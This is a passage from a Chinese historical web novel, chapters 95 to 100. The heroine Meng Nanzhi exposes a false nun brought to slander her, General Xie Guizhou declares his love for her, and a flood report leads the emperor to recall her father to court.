和上次那人一样蠢,还没问两句,就要被孟南枝引入自证的怪圈。
果见孟南枝唇角一勾,冷嘲道:“那你倒是同我证明你身为普寿寺师尼的身份。”
第95章 本将护她,自然是因为本将心悦于她
师尼闻言眉色稍松,从袖袋掏出度牒双手递到孟南枝面前,“贫尼出家多年,自有度牒为证。”
孟南枝接过度牒后并未查看,而是将目光落在摊开的粗糙双手上,语气平静道:“还有其他证明吗?”
师尼还未答话,马夫人便抢先道:“孟南枝,度牒上面清清楚楚地写明了师尼的姓名、籍贯和寺院,并有官印为证,你连看都不看就想要其他证明,莫不是故意刁难?”
孟南枝瞥了她一眼,嗤笑道:“马夫人,亏你还身为吏部尚书夫人,难道不知度牒可以造假?”
马夫人肯定道:“这度牒本夫人已经确认过,是真的。”
她若无把握,又岂会在可能得罪曹国公府的情况下如此出头。
孟南枝摇头,并不认可她的话,“即便度牒是真的,又不能证明人就是真的,还是要有其他佐证才行。”
曹国公夫人频频点头,觉得孟南枝说得非常有道理。
“那度牒上的姓名、年龄与师尼一一对应,又怎么会是假的?”马夫人面色涨红,声音突然拔高道:“孟南枝,你如此刁难,不肯承认师尼身份,是不是因为你不敢说出那十年你究竟去了哪里?”
孟南枝轻笑反问:“马夫人,你一再阻拦我询问师尼自证,莫不是心虚她的身份是假的?”
“你……”
马夫人抬手指着孟南枝,气得想要吐血。
为什么情况和她预想的完全不一样?
她寻了证人过来,明明孟南枝该丢尽脸面,无地自容地向她跪地求扰才对。
可现在完全反了过来,证人竟然还要证明自己是证人。
眼见马夫人一步步掉入孟南枝的自证陷阱,不肯放过打压她机会的林婉柔眸色微转,提起帕子,柔弱弱地开口道:
“温夫人,我觉得南枝和马夫人说的都有道理,不如就让她们各自证明一下自己吧。”
孟南枝闻言目光落在林婉柔身上,气得忍不住笑出了声。
这人还真是不仅脑子转得快,更是懂得吃一堑长一智,学会以她的方法反过来制衡她。
马夫人在林婉柔的提醒下也回过味来,转身对曹国公夫人道:“温夫人,师尼已有度牒为证,孟南枝也要证明她确实在普寿寺待过才行。”
曹国公夫人皱眉,她是想护着孟南枝,但眼下的局面已经不是她想护着就能护着的了。
孟南枝自知她的难处,不等她为难,便已开口道:“既然你们如此执着于要我证明,我也不是不能如你们所愿。只是,若我证明了,敢问你们又当如何?”
孟南枝目光冷冷地扫过马夫人和林婉柔,言语挑衅。
马夫人一愣,随即冷笑:“若你能证明,本夫人便当众向你赔礼道歉。可若你证明不了,便要承认你这些年行踪不明,品行不端!”
林婉柔也附和道:“是啊,南枝,若你能证明,我们自是当众向你道歉。”
“道歉?”
孟南枝冷声道:“你们寻一个假的师尼来污蔑我的清白,又岂是一句道歉可以了事的?”
林婉柔不满道:“南枝,这还没证明呢,你便说我们污蔑你,有点太过于武断了吧?”
马夫人也跟着冷嘲道:“孟南枝,你现在不过是一个连证据都拿不出来的人,有什么资格在这里与我们谈条件?”
“马夫人,你要搞清楚,现在是你求着我来证明自己的。”孟南枝双眸含冰,冷声道:“你若不想,那就让你的师尼继续来证明她自己。”
马夫人再次气结,咬了咬牙才道:“那你说,要怎样?”
孟南枝斜睨了她一眼,正欲开口,一道清洌之声由远而入。
“若南枝证明了自己,你们二人需在众人面前,跪地承认自己故意构陷,并写下悔过书,张贴于各府门前,让众人知晓你们的丑恶行径。”
众人皆皆倒吸一口凉气,这,太过苛刻和丢人脸面了。
而且贴在各府门前,岂不是让京都百姓全都知道了?
这让她们以后还如何在京都出门。
只是看到那出声之人,她们却是皆皆半屈身子,俯首行礼,“屠戎将军。”
谢归舟一袭黑色锦衣自门外大步而入,他身姿挺拔如松,发间带着湿气,一向清冷的面容此刻如霜带雪。
身后还跟着刚从书房议事出来的奕王萧临渊、曹国公世子曹景行。
众夫人只得再次行了一礼,“奕王,曹侍郎。”
谢归舟径直走到孟南枝身侧,自然而然地站定。
他轻轻抬手同曹国公夫人作辑施礼,寒冷的目光一一扫过在场的所有夫人,最后定格在不敢抬头的马夫人和林婉柔身上,“怎么,不敢应了?”
马夫人脸色一阵青一阵白,她明明打听过了,谢归舟不在京都。
她咬了咬牙,硬着头皮道:“屠戎将军,这似乎有些过分了吧?”
“过分?”
谢归舟冷笑一声,“本将以为,上次在荷风宴已经说得很清楚了,南枝是本将亲自在普寿寺寻到,亲自接回京地。”
“如今你故意寻到一个自称是普寿寺的师尼,来此与南枝对质。难道你是觉得本将说慌?故意欺瞒你们不成?!”
一众夫人自打谢归舟进来,便已禁了声。
此刻听他如此说话,更是头也不敢抬一下。
在大衍,有几个人敢开口质疑身为“大衍战神”的谢归舟。
然而,自觉已经抓住孟南枝把柄的马夫人却并不觉得。
她明明就差一步就要揭穿孟南枝,明明就差一步就要将孟南枝踩在脚底下。
她不想前功尽弃。
所以她在谢归舟的质问中,仍然回了声,“臣妇不敢怀疑将军,但是这位师尼确实是普寿寺的师尼,她不认识孟南枝,那孟南枝便是撒了谎。”
谢归舟重重地看了她一眼,冷笑一声,不待她说完,便将目光移到师尼身上,“你是普寿寺的师尼?”
他的声音明明很轻,却偏偏带着寒意。
师尼在他的质问下,双腿直颤跪地道:“贫……贫尼不是。”
马夫人闻言神态疯狂,她突地上前拽住师尼道:“你,你明明说你是普寿寺的师尼。你明明说……为什么?为什么你要改口?为什么!”
“你是不是害怕将军?你不要怕。你说啊!你是普寿寺的师尼。”
见师尼一直跪地不敢抬头,马夫人颓废下来。
想到对儿子的承诺,想到儿子差点被刺瞎的眼睛。
她突然抬头双目腥红地看向谢归舟,质问道:“将军,为什么?她明明没有在普寿寺,她明明就是在故意欺瞒。你为什么一定要护着她?!”
谢归舟还带着红疹的指尖微动,眸色幽深地扫过在场的每一位人,唯独略过了孟南枝。
“本将护她,自然是因为本将心悦于她。”
第96章 本将心悦之人,无需他人置喙
坤宁宫。
皇后谢清沅正在宫女的服饰下用膳,待看到案上摆着的桂花羹时,眉头微蹙,无心再食。
刚从外面回来的于嬷嬷顺着她的目光望去,吩咐小丫鬟把菜肴撤了,走到她身后开始给她按摩肩膀,“娘娘,将军回来了。”
谢清沅抬眸看向窗外阵风过后,阴沉沉的天气,眸色阴郁。
半晌,她才突地笑了一下,自嘲道:“人算、天算,都不如心算。”
京都到峭城,一个来回,明明要用上两日的光景,竟然被他只用了三分之二。
他想要她的心,太强大了。
……
太子府。
侧妃曹宛宁让丫鬟撤走了宫里送来的安胎药,听属下汇报消息,“主子,将军去了国公府。”
曹宛宁拿起帕子轻拭唇角,淡淡问我道:“事成了吗?”
属下摇头,“差一点。”
曹宛宁摆手让他退下。
同样抬头看向外面阴沉的天气,她双目平和,轻抚小腹,低声喃喃道:“看来你没办法叫南枝一声舅母了。”
……
曹国公府。
阵风过后,天空落起了零星冰雹。
穿透彩带,砸在人的头上。
有点疼。
却没有人去躲。
太震惊了!
震惊到她们甚至听不清谢归舟后面还在说着什么。
只记得他说心悦于孟南枝了。
前有镇北侯为她挖湖不续弦。
后有曹国公府夫人说要娶她为媳。
现在又来一个屠戎将军说心悦于她。
这……
七月冰雹已经没什么好让人震惊的了。
眼下她们只恨好命的人为什么不是自己。
曹国公夫人与女儿对视一眼,皆从对方眼中看到了惊诧。
但更多的是通透和明悟。
昨日次女曹宛宁来寻她,问她想不想让孟南枝做儿媳。
她自然是愿意的,但又怕儿子不愿意,询问儿子并不排斥后。
这才有了上午搓和他们两个那一幕,但被孟南枝坚定地拒绝了。
这一步步被次女曹宛宁算得明明白,她说孟南枝肯定不会同意。
若想让孟南枝同意和他们曹国公府结亲,那么不管今日发生何事都要向着孟南枝。
哪怕是有人辱她清白,也要坚定不移地向着她。
只有这样,孟南枝才有可能会同意与他们曹家结亲。
她按照次女说的做了,但眼下……
奕王萧临渊捏住左手的板指,目光从谢归舟移到他身侧的孟南枝身上,眸中闪过兴味。
转动了两下板指,一向带着笑意的唇角,勾得更深了些。
曹景行目光定格在孟南枝的发稍,眼皮微阖,倒是看不出在想什么。
林婉柔低垂的眼眸里全是恨意,她不死也就算了,回来之后竟然一而再,再而三的得人助力,简直无法容忍。
沈砚修皱眉,回想将军递给母亲的那根玉簪,抬手想去拉母亲的衣角,抬到一半又给垂了下来。
孟南枝心头“突”了一瞬,便瞬间冷静下来,垂眉看到长子的动作,轻拍了拍他的手背。
沈砚修对上母亲平静温和的目光,也跟着冷静下来。
将军总归是护着母亲的。
他也不是不能接受。
只是觉得太突兀了些。
谢归舟说完那句话后并未停下,而是目光落在那师尼身上,冷声问道:“说清楚,你到底是何人?为什么自称是普寿寺的师尼。”
那师尼抖着身子道:“贫尼……并非普寿寺的师尼,贫尼乃是六枯寺的师尼,三日前有人寻到贫尼,给贫尼一张度牒,说只要拿着这张度牒进京,自然就会有人主动寻贫尼。”
“贫尼便按照那人说的,进京后只照常化缘,若有人问便说自己来自岚城弥岳山普寿土豪,结果便等来了马夫人。”
“给你度牒那人是谁?”听到此处,孟南枝眉峰微蹙,上前一步问道。
师尼摇头道:“不认识,只知道是个戴着笠帽的男人,但贫尼对他口音熟识,应是裕城的。”
孟南枝闻言暗腑。
男人?
裕城?
联想给瘦猴银子哄骗次子的那个是女人。
眉峰不仅蹙得更深,不同一个人,但会不会统归一个主谋?
谢归舟闻言眸光却是闪了闪,抬手轻摆。
不知藏在何处的钱飞便跃了过来,把那师尼拖了下去。
谢归舟低头看向马夫人,道:“你可还有话说?”
马夫人脸色在听到师尼说起缘由时,已经瞬间变得惨白,猩红的眼睛也终于磨灭下来,她颓废下来道:“将军,是有人故意陷害我!我是听到下人说有个自称是普寿寺的师尼这才寻到了她。”
“我看了她的度牒,以为她是真的,询问她认不认识孟南枝,她说不认识,我这才带她一起来了曹国公府。”
“而且,我也没真想把孟南枝怎么着。”说到此处,马夫人似突然想到什么,对谢归舟指着孟南枝道:“将军,您说您心悦于孟南枝,那您知不知道今日孟南枝可是打算和曹侍郎相亲的。”
“她才刚刚与镇北侯和离,就攀附上了曹国公府,如此急切地想要再婚。这般行径,将军您真的觉得她值得您心悦吗?
谢归舟闻言握指成拳,指尖陷入掌心,盯着她的眸光愈发冷冽,他抬步走到她面前,一字一顿道:“南枝是否与曹侍郎相亲,与她值不值得本将心悦,并无关联。”
“本将心悦之人,无论她过往如何,经历几何,在本将心中,她便是这世间最值得珍视之人,无需他人置喙。你若再以这般狭隘偏激之言诋毁于她,休怪本将不顾情面,对你严惩不贷。”
第97章 谢归舟从不以势欺人
谢归舟为人清冷,待人寡淡。
不管是身为国舅,还是被封“屠戎将军”以来,从不以势欺人。
可他眼下一字一顿所吐出的话,明显带着护短和不容置疑的威严,让在场众人皆是一凛。
马夫人面色苍白,唇瓣哆嗦了两下,在谢归舟的直视下垂下头颅,终是不敢再开口诋毁孟南枝。
林婉柔见状垂眉暗暗攥紧了手中的帕子,想起此前所有人在府衙被逼着给孟南枝道歉一事,为避免谢归舟真逼着她当面下跪。
她面上装出一副如获释重的表情,率先开口道:“幸得将军及时赶来,若不然我们还真是要被那师尼给骗着误会了南枝,既然误会解开,我便向南枝道声歉意。”
说到此处,她走到孟南枝面前深俯了一礼,“南枝,此事我也是一时糊涂被那师尼哄骗,还望你莫要往心里去。你也知道我脑子愚笨,容易被人哄骗,往后我定当多留个心眼,不再如此轻易受他人蒙蔽。”
众人闻言面面相觑:她还自称愚笨?
这一见形势不对就立马低声下气地道歉,惯会见风使舵的模样。
能叫愚笨?
马夫人在好友的提醒下也起了身,走到孟南枝面前垂首道:“此事是我糊涂,错信那师尼的话,冲撞了孟姑娘,还望孟姑娘原谅,莫要与我计较。”
她面上说得好听,可那低垂的眼眸里,却是不断涌出恨意与不甘,疯狂得想要将人吞噬。
在场的夫人大多数都经历过荷风宴及府衙道歉一事,自然一眼看穿林婉柔和赵夫人想大事化小,小事化了的意图。
在谢归舟冷若寒冰的注视下,刚才以赵夫人为首阴阳怪气的夫人们,纷纷心虚地上前向孟南枝致歉。
同上次一样,言语间满是歉意,可翻来覆去,无非还是“一时糊涂”“被人蒙骗”那几句说辞,哪有几分真心悔过。
孟南枝神色平静地听着她们的道歉,目光一一扫过她们虚假的脸庞,眸间满是嘲弄。
为绝后患,她并未像上次那般任她们离开,而是缓缓开口道:“诸位夫人的歉意,恕我孟南枝并不能接受。”
“你们一而再、再而三地辱我声名,却想用‘一时糊涂’便想将此事轻轻揭过。那日后若是再有类似之事发生,是否也只需一句‘糊涂’,便可将一切罪责推得干干净净?”
在场众人皆是一怔,尤其是正在道歉的夫人脸色变得十分难看。
这历来道歉不都是走个过场,双方互留一线,日后好在相见吗?
怎么偏偏这孟南枝永远不按套路来。
见众夫人在孟南枝如此气短,林婉柔为寻日后盟友,攥着帕子挡在她们面前,道:“南枝,大家今日不过是受了那师尼的蛊惑,并非真心要辱你名声。如今误会既已解开,你又何苦揪着不放呢?”
从夫人皆皆应是。
错的是那师尼,她们能道歉已经算是给她面子了。
“一时受蛊惑?”
孟南枝目光如炬地盯着林婉柔,嗤笑道:“府衙之时你们这般说辞,如今还是这般说辞。一次是受蛊惑,两次还是受蛊惑,那往后是不是只要对我不利之事,都可以推给蛊惑二字?”
赵夫人恼得甩了下帕子,咬牙切齿道:“孟南枝,得饶人处且饶人,我们已然向你道歉,你若执意如此,怕是有些不近人情了。”
“不近人情?”
孟南枝眸光一冷,看向赵夫人,“若是今日被诋毁、被污蔑的是你们,你们还能说出这般不近人情的话来吗?”
旁边有夫人拉了一下赵夫人,示意她别说了。
赵夫人还准备甩开那夫人,余光突然瞥见谢归舟看向她如带冰刃的目光。
心口一窒,顿时噤若寒蝉,不敢再言语。
谢归舟厌恶地瞥开视线,一一扫过众人,“既然你们道歉如此毫无诚意,便全部送到府衙交由府尹按照大衍律法以污蔑之罪判决吧。”
他语气虽轻,但那其中所带的威胁之意,轻而易举地击穿所有人的内心。
府衙。
污蔑之罪。
岂不是要被关进牢狱。
顿时全部慌了神。
其中一位夫人险些吓得哭出声,她小心翼翼地带着哭腔问道:“不知将军要我们如何做,才算有诚意?”
谢归舟暗捏手指,眸色幽深,“自然是听南枝的意思。”
夫人连忙将目光移向孟南枝,“南枝,我们要如何做,才算有诚意?”
孟南枝目光在她们脸上缓缓扫过,声音清冷道:“第一,你们需当着众人的面,承认自己故意构陷之罪。”
“第二,每人手写一份悔过书,将今日之事原原本本地说清楚,还我清白。”
“第三,日后若再有人传我谣言、辱我名声,你们需站出来为我作证,还我公道。”
“谁若不为能我作证,我会将此悔过书贴于各府门前,让百姓也能瞧个明白。”
眼看众夫人的面色越来越白,孟南枝话锋一转,温声道:“自然,这份悔过书,我会好好存放,除了我自己,保证不会让第二个人知道,也能保住众夫人的脸面。”
随着孟南枝的话音落地,众夫人面色已经由白转青,难看之极。
萧临渊的停止了转板指的动作。
曹景行的眸子亮了亮。
谢归舟嘴角勾起,却又瞬间掩饰,看向众人冷声道:“谁还有异议?”
那些阴阳怪气的夫人们闻言,面面相觑。
她们哪里敢提出异议。
难不成真等着被送到府衙去丢脸吗?
只得纷纷点头应下。
曹国公夫人见状,连忙吩咐丫鬟去拿笔墨纸砚过来。
写悔过书时,林婉柔的手都是抖的。
早知道如此,她何苦自讨苦吃地非要贴着脸求了奕王来参加这七巧宴。
全怪孟南枝故意引她入局。
孟南枝在所有人的注视下,缓缓收起悔过书。
确认空口无凭污蔑她的每一个人都写过后,她才满是歉意地同曹国公夫人,还有未曾参与的夫人和世家小姑娘们深深施了一礼。
“实在不好意思,今日皆因为我扰了大家的兴致。为表诚意,稍后我会让人向各位夫人和姑娘送上薄礼,介时还望诸位莫要嫌弃,定要收下这份心意,也当是弥补今日这七巧宴上的不愉快了。”
第98章 守一辈子“活寡”?
曹国公夫人见孟南枝如此进退有度,对她更加满意。
在她话音落下后,便笑着轻嗔了她一眼道:“南枝,这到底是在国公府出的事,怎么能让你来破费呢。大家只管继续宴会,稍后本夫人会为诸位夫人、姑娘准备上礼物,以赔不是。”
未曾参与嘲讽孟南枝的夫人和姑娘们又哪会不满,纷纷附和着曹国公夫人的话说不用准备。
直到宴会气氛重新热络起来,孟南枝才起身与曹国公夫人告辞,“玫姨,我先回去差人为各位夫人和姑娘备上薄礼,改日再登府叨扰。”
曹国公夫人知她此言只是借口,却也并未拆穿,只是温柔地拍了拍她的手背,“今日之事,怪玫姨没替你把好关,你莫在怪玫姨。”
孟南枝浅笑着摇头,“玫姨哪里的话,此事本就与玫姨无关,而且若不是您今日一直护着我,我可能还要被她们欺负得哭鼻子呢。”
曹国公夫人又岂会不知她是在安抚自己,心里更加妥帖,“那玫姨就不留你了,你回去路上小心些。”
孟南枝微微点头,“放心吧,玫姨。”
又与在场几位相熟的夫人和姑娘一一告别后,孟南枝才带着长子沈砚修准备起身离开。
曹宛清对南枝心有愧意,见她要走,便心心念念地想要送她,却被曹景行拦下。
他走到孟南枝面前,轻声道:“我送你吧,刚好有些事和你说。”
孟南枝顺着他的目光落在沈砚修身上,知他应是说长子文章一事,便点头应下,“好。”
曹国公府夫人见状笑意更深,连道三个好字,“好,好,好,就让景行送送你,这天也确实不大好。”
又嘱咐丫鬟连忙为他们递来油伞。
萧临渊闻言不动声色地抬眸看了眼正与他说话的谢归舟,但见他神色如常,对于孟南枝与曹景行一起离开,并未表示任何不满情绪。
不由垂眉转了转板指,开口道:“国舅,我想起府中还有要事,不若咱改日再聊。”
“好。”
谢归舟看似平静的面容下,手指早已难耐地陷入掌心。
两人与曹国公府夫人告辞后,便各自撑了把伞跟在他们后面。
曹宛清站在母亲身侧,有些忧心地低声道:“母亲,南枝可会怪我?”
曹国公夫人嗔了她一眼,“我们是为了同她结为亲家,又不是结仇害她,南枝怎么会怪你。”
曹宛清想想也是,自己把话和南枝说得很明白,她当时不曾怪她,以后自然也不怪她。
只是盯着谢归舟的背影,还是有些担心,“那谢将军呢?”
曹国公夫人闻言也跟着看了眼谢归舟的背影,倒是正了色,“将军志在屠戎,又岂会娶妻。”
剩下的虽未多说,曹宛清也明白。
两人怕是难成。
而且她从内心也不想孟南枝嫁于谢归舟。
年纪轻轻的,总不能再嫁还要守一辈子“活寡”吧。
这方面,弟弟可要比他强多了。
得空还是要再劝南枝一劝。
小雨淅淅沥沥,落在伞面,泛开炫丽的花。
孟南枝与曹景行并行,各撑了一把伞。
曹景行侧头看向孟南枝,见她神色平静,眉目之间皆是坦然和从容,完全没有被人诬陷愤恼和失礼。
心中微动,轻声开口道:“砚修的文章我已看过,辞采华茂,字句工整,立意也有可取之处,唯一欠缺的是文章整体的深度。”
听到此处,孟南枝深知涉及改正,便停下脚步,认真听他细说。
曹景行也随她停下道:“砚修他终归是年纪尚幼,经历略浅,虽有想法,但落于笔下时,却与时事相差甚远。不过只要对他加以引导,假以时日,必能有所成。”
“他这般年纪,能写下如此文章,已是十分难得。日后多读些书,多经历些世事,文章深度自然也就上去了。我府中藏书虽比不上孟叔父,但皆是历来科举有关文献。”
“若南枝……”他顿了顿,硬是把那声“姐”字给咽了下去,“想让砚修走科举之路,可让常来我府中借阅。”
孟南枝闻言眉眼弯笑道:“如此,便多谢景行了。”
曹景行温声道:“你又何需同我客气。”
谢归舟见状眸色幽深,
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轻轻瞥开了视线。
两人边走边谈,直到曹国公府门口。
孟府的马车早已被牵至门口,孟南枝停下脚步,转身对曹景行道:“就送到这里吧。”
“好。”曹景行轻轻点头,礼到为止。
细雨已经停下,孟南枝收起油伞,这才回头看向谢归舟。
谢归舟心头一紧,下意识地握紧了拳头。
孟南枝目光在他身上停留了片刻,才轻声开口道:“今日之事,还要多谢将军出面解围。”
她的双眸一如既往,清澈见底。
谢归舟喉间酸涩,滚了几下,也没能发出声音,只得微微颔首示意她不用谢。
孟南枝略过他,又同奕王萧临渊见礼后,才坐上马车。
马车滚动,撵过带水的青石板,带出一路细碎的水花。
沈砚修骑着马,有些担忧地一直跟在马车后面。
**该怎么劝慰母亲。
正纠结间,便见母亲撂开帘子同他道:“修儿,你骑马快些回去,同你胡姨母还有刘嬷嬷讲,让她们准备一些薄礼给在场的夫人和姑娘送去。”
“您呢?母亲?您不回去吗?”沈砚修不放心。
“我转一转。”孟南枝笑道:“放心吧,有阿贵在呢。”
沈砚修看了眼正在驾车的阿贵,点了点头,“那母亲,您转完早点回去。”
孟南枝应道:“好。”
待沈砚修离开后,孟南枝才对阿贵吩咐道:“去青泥河。”
青泥河,是父亲常常垂钓的地方,也是她重生回来的地方。
因是刚刚下了雨,河岸两侧的树叶上还挂着水珠,滴到河面,晕起的水波泛着细碎的光。
四周无人。
孟南枝便从马车上取出父亲钓鱼的工具,将裙摆卷起,沿着泛青的泥路走下去。
鱼钩入水,板凳落坐。
两个时辰,都未曾有鱼上钩。
直到天色渐黑,身侧才落下一道健硕修长的人影。
衣服未换,跟在曹国公府闻到的一模一样,松脂香都遮盖不住的血腥味。
而在他落下的刹那,鱼杆耸动。
肥鱼上钩。
第99章 谢小叔,喜欢钓鱼吗?
鱼落木桶,溅起水花。
孟南枝唇角弯了弯,抬眸看向谢归舟,“谢小叔,喜欢钓鱼吗?”
再称“小叔”,疏离之意已经明显。
谢归舟僵硬地瞥开视线,喉间滚动,“不喜。”
他只想做她钩上的鱼。
孟南枝也没真想知道他的答案,轻笑道:“我爹也不喜欢。”
谢归舟颔首,“我知道。”
太傅以前没有钓鱼的兴致,一切皆是为了她。
孟南枝目光落在平静的水面上,“我是从这里回来的。”
谢归舟再颔首:“我知道。”
从她回来那日,他便调查了太傅所有的行程,那日太傅只来了这里。
孟南枝抬头看了眼阴沉沉的夜空,一如她曾经看到的巨幕,“我是为了父亲和修儿他们三个回来的。”
谢归舟蜷了蜷手指,“我知道。”
孟南枝眸色依旧平静,“我没有再婚的想法。”
谢归舟指尖微颤,“我知道。”
他知道,她的想法,她的顾虑,他都知道。
话已说明,孟南枝盯着水面,静默了片刻,将鱼杆收起,“回吧。”
再晚,只怕父亲他们该着急了。
谢归舟顺从地拎起装鱼的水桶跟在她后面,帮她装上马车。
孟南枝抬脚进入马车时,突然抬头环顾了下四周。
空荡荡的,并未看见他的坐骑,再低头瞧了眼他沾满泥泞的靴面,才垂眉进车落坐。
谢归舟,他,是徒步来的。
待听到阿贵跟谢归舟告辞时,不禁暗叹口气,撩开帘子道:“谢小叔,天色渐晚,坐上马车一起回吧。”
谢归舟唇角扬了扬,又瞬间压下去,抬步轻巧地上了马车。
他身材比父亲和长子都要高大,甫一进来,孟南枝便感觉车内空气稀薄了许多,那连松脂香都压不住的血腥味更浓了些。
孟南枝点上烛火,才发现到他黑色锦衣下,右臂位置比其他地方要深一些。
她眸色微凝,轻声问道:“你受伤了?”
“无……”谢归舟下意识地想将右臂往身后藏,似想到什么,突然伸出左手抚上右臂,道:“去抓嫌犯时中了一箭。”
孟南枝目光落到他的左手上,眸色凝得更深,“没包扎吗?”
他前几日才为她受过伤,而且那手背上现在还零星地出着红疹。
谢归舟摇头,“应是绷带松了。”
“让我看看。”
孟南枝没办法做到视而不见。
谢归舟眸色幽转,左手去解右手袖口的盘扣。
手笨,没解开。
还时不时地露出左手掌心未愈的伤口。
孟南枝终是看不下去,亲手去解盘扣,并把他的袖子往上捋。
麦色的胳膊上稀稀落落地起着红疹,伤了箭伤的位置哪里绑了绷带,只是随意用衣料绑起,眼下已全部被血液渗透。
孟南枝弯腰从坐位下的暗柜里抽出备用医箱,拿出剪刀、伤药和绷带,将他的胳膊固定住,“你别动,我重新给你包扎一下。”
手臂传来她掌心柔软的温度,谢归舟顺从地点头,“嗯。”
孟南枝这才去解绑着的衣料,伤口有些深,血已经凝固,和衣料粘在一起。
她动作很轻,却还是扯到了伤口。
明明该很疼的举动,偏偏他就是不坑一声。
孟南枝抬头看了眼他额间细密的汗珠,心中微动,手下动作更轻了几分。
好不容易将衣料与伤口分开,孟南枝看着那狰狞的伤口,眉头紧蹙,“怎么不找个大夫好好处理?”
谢归舟看着她担忧的神色,心中一暖,轻声说道:“无妨,小伤而已。”
他只是还没来得及。
孟南枝睨了他一眼,“你若不好好照顾身体,是大衍百姓的损失。”
巨幕中没有他太多的信息,肯定是早**。
想到此处,孟南枝眸色暗了暗,取出袖帕,蘸了蘸马车中备着的水,轻轻为他擦拭伤口周围的血迹。
并小心洒上伤药,系上绷带。
谢归舟盯着她认真专注的小脸,握紧了手指。
马车行至孟府时,沈砚修两兄弟早已等得着急。
车未停稳,两人便齐齐冲了过去,“母亲。”
哪想下来的却是谢归舟。
两兄弟的动作瞬间一僵,“将军。”
谢归舟微微
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颔首,移开两步给他们让了位置。
两兄弟互视一眼,站到两侧去接母亲。
孟南枝在他们的搀扶下站稳后,才抬眼看向谢归舟,轻声道:“今日之事,多谢将军,稍后我会吩咐丫鬟把药煎好给将军送过去,将军记得按时喝药,早些歇息。”
谢归舟目光落在她脸上,喉间滚了几滚,最终也只是简单地道了声:“好。”
见他应下,孟南枝也没再多说,带着两个孩子进府。
沈砚修转身瞧了眼谢归舟在门口屹立的身影,又转头看向母亲,“母亲,谢将军他……”
孟南枝轻声道,“他受伤了,你外祖父可回来了?”
“回来了,在厅堂等着母亲呢。”沈砚修挠了挠耳后。
他其实是想问,母亲怎么会和将军在一起,两人干什么去了……
到了厅堂,同样等得着急的胡姨娘便站了起来,“枝枝,你可算回来了。”
左右细看她无异常,这才拉着她坐下,“饿了吧,我这就叫人给你摆膳。”
孟南枝道:“姨娘我钓了一条鱼,让厨房做了吃吧。”
胡姨娘笑道:“行呀,枝枝可真是不得了,比老爷钓鱼都厉害了,不若就做成桂花鱼吧?”
孟南枝眸色微闪,“做成清汤的吧,给谢将军也送去些。”
胡姨娘闻言愣了一下,与孟正德互视一眼,笑盈盈地道:“好啊。”
宴罢,各歇各屋。
眼见母亲今日辛劳了一天,沈砚修两兄弟谁也没再缠着她,让她早点休息。
孟南枝嘱咐月满照常给谢归舟送药后,便在月芹的服侍下洗漱歇息。
东临阁楼,谢归舟盯着桌案上的鱼汤和汤药,眸色暗了几暗,良久才拿起勺,一点一点地喝下去。
孟正德坐在窗台前,并未歇下。
今日在曹国公府发生的事,他已全部知晓。
他本想女儿和离后,留在孟家好好地过日子。
哪想这才几天,一个个的都把主意打到女儿身上。
而那些妇人,竟然也上杆子似的变着法地诬陷他女儿。
他孟正德不发威,她们是真当他孟家的女儿是好欺辱的?!
第100章 孟太傅重回朝堂
三更梆子敲完第二响,一道闪电突然照亮了夜空。
孟南枝猛地惊醒,未加思索便从床上坐起来,走到窗台打开窗。
雷声顺势而下,紧接着便又下起了瓢泼大雨。
对面还未歇下,正在翻看案宗的谢归舟,抬目看到她的影子,下意识地站了起来。
城门外的官道尽头,传来一阵急促的马蹄声,像是同那惊雷一般带着雨幕而来。
马背上坐着一名黑衣骑者,他吼声嘶哑,带着风雨欲来的急切,“开门!八百里加急!”
守城的卫兵刚探出头,就见那黑骑已到近前,马上人反手甩出一块腰牌,铜质的牌子在雨中泛着冷光。
令牌上面只简单刻了个工部特批的“急”字。
城卫不敢耽搁,忙打开城门,沉重的城门刚打开一条缝,黑骑便已如离弦之箭冲了进去。
黑骑越过街市,直奔皇宫。
马蹄踏在青石板上,溅起的水花打湿了路两侧铺子的灯笼,一路惊得巷子里的犬狗狂吠不已。
批完奏折刚歇下的圣上萧潜雍猛地睁开眼,胸口还随着雷鸣声微微起伏。
他翻身下塌走到窗边,窗纸半掩,暴雨顺着宫檐往下倒,砸在地面又弹起来落在窗台上。
一股凉风灌进来,吹得他鬓角的白发微微颤动。
内侍听到动静轻手轻脚地走进来,拿了件披风给他搭上,“圣上,莫要凉了身子。”
又一声雷响传来,震得窗棂都在颤。
萧潜雍推开窗,往外探了探,雨丝溅在他的手背上,凉得刺骨。
这是七月,不该如此发寒。
他突然转身,平静的声音中带着急切,“山城可传来消息?”
内侍摇头,“回圣上,山城尚未有消息传来。”
只是他话音刚落,一个小太监便带着一个浑身湿透的黑甲骑士,连水带泥地跪在外面,双手举起木盒道:“圣上,急报!”
内侍不敢怠慢,过去接了木盒,双手捧着疾步走到圣上面前。
萧潜雍指尖触过那被淋湿的木盒,心中一沉,抽出里面的羊皮纸。
“九曲河决堤,沿岸八县被淹。”
这还是他提前命工部带着河工去了的结果,若是没去呢?
溺水消失十年的孟家女郎毫无征兆地突然回归。
大雨刚下第一日,致仕十年的孟正德便入朝与他提及九曲河可能决堤一事。
沿岸十县,因提前安置,保全了两县。
正欲和明家退婚的沈砚修不仅消了退婚想法,前日里还给明家母女送去物资。
萧潜雍攥紧了羊皮纸,指尖的潮气模糊了字迹,声音沙哑道:“传急朝。”
内侍刚要应声,他又接着道:“请孟太傅回朝。”
丑时未到,承天钟便急促地撞响在雨幕里,比往日早朝整整早了几个时辰。
听到承天钟的急促声,孟南枝撑着油伞,急速地下了阁楼,跑向父亲的院子。
父亲孟正德并未歇下,随胡姨娘端坐在厅堂。
见到她过来,冲她重重地点了点头,“坐下等。”
三人便排坐着看门外大雨瓢泼。
不多时,孟府的大门被叩响,来福领着两个从宫里来的太监入了厅堂。
为首的年长太监手里捧着个紫檀木托盘,托盘上覆着块明黄色的云纹锦缎,边角处隐约露出暗红的料子。
“奴才李贵,给孟太傅请安。”
见到满头银发,端坐如松的孟太傅,太监李贵规规矩矩地行了礼,将托盘举过头顶,“圣上口谕,请太傅回朝。”
孟正德示意,孟南枝上前双手接过托盘,轻轻掀开锦缎。
托盘上,一套崭新的绯衣朝服静静地躺着。
孟正德视线落在朝服上,久久才抬眼道:“请公公回禀圣上,老臣领旨。”
“奴才这就回宫复命,好让圣上安心。”
李贵脸上拢了笑,又规规矩矩行了礼,带着小太监轻手轻脚地退了去。
孟南枝看着托盘上的朝服,内心一时五味杂陈。
巨幕中,父亲致仕后并未再次回朝,因为长子**,靠着天子伴读、皇子太傅的情面,以死谢罪,才换得全族性命。
如今,因她回来,父亲重新回了朝。
她不知这条路到底是幸还是不幸。
